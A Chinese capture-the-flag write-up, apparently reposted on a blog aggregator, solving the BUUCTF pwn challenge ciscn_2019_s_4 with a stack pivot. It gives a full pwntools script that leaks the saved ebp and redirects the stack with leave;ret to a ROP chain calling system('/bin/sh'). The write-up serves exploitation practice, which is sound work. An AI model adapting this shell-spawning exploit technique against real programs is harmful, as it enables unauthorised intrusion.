[BUUCTF-pwn]——ciscn_2019_s_4
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——ciscn_2019_s_4
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——ciscn_2019_s_4
- 題目地址:https://buuoj.cn/challenges#ciscn_2019_s_4
這道題是一道典型的棧劫持問題
前面有一道類似的點擊進入, 如果需要可以去做一下
沒有開啟canary保護
在IDA中, 可以看出有明顯的棧溢出, 不過溢出空間只夠修改ebp和一個返回地址
但是, 僅僅一個返回地址是不夠的, 并不能打印flag
思路
利用棧溢出,首先泄露出來main_ebp的地址
計算一下,我們輸入的位置, 距離main_ebp的距離, 找到s的地址
最后將棧劫持到s的地址上面, 構造rop鏈
exploit
from pwn import *#p=remote('node3.buuoj.cn',29981) p = process('./ciscn_s_4') elf = ELF('./ciscn_s_4') leave_ret=0x8048562 #gdb.attach(p, 'b *0x080485CD') payload = 'a' *0x24 + 'cccc' p.send(payload) p.recvuntil('cccc') main_ebp=u32(p.recv(4)) log.success('main_ebp ------> ' + hex(main_ebp))s_addr = main_ebp - 0x38payload = 'junk' + p32(elf.plt['system']) + 'junk' + p32(s_addr + 16) + '/bin/sh\x00' payload = payload.ljust(0x28,'a') + p32(s_addr) + p32(leave_ret) p.send(payload) p.interactive() 與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——ciscn_2019_s_4的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——lctf20
- 下一篇: [BUUCTF-pwn]——[第六章 C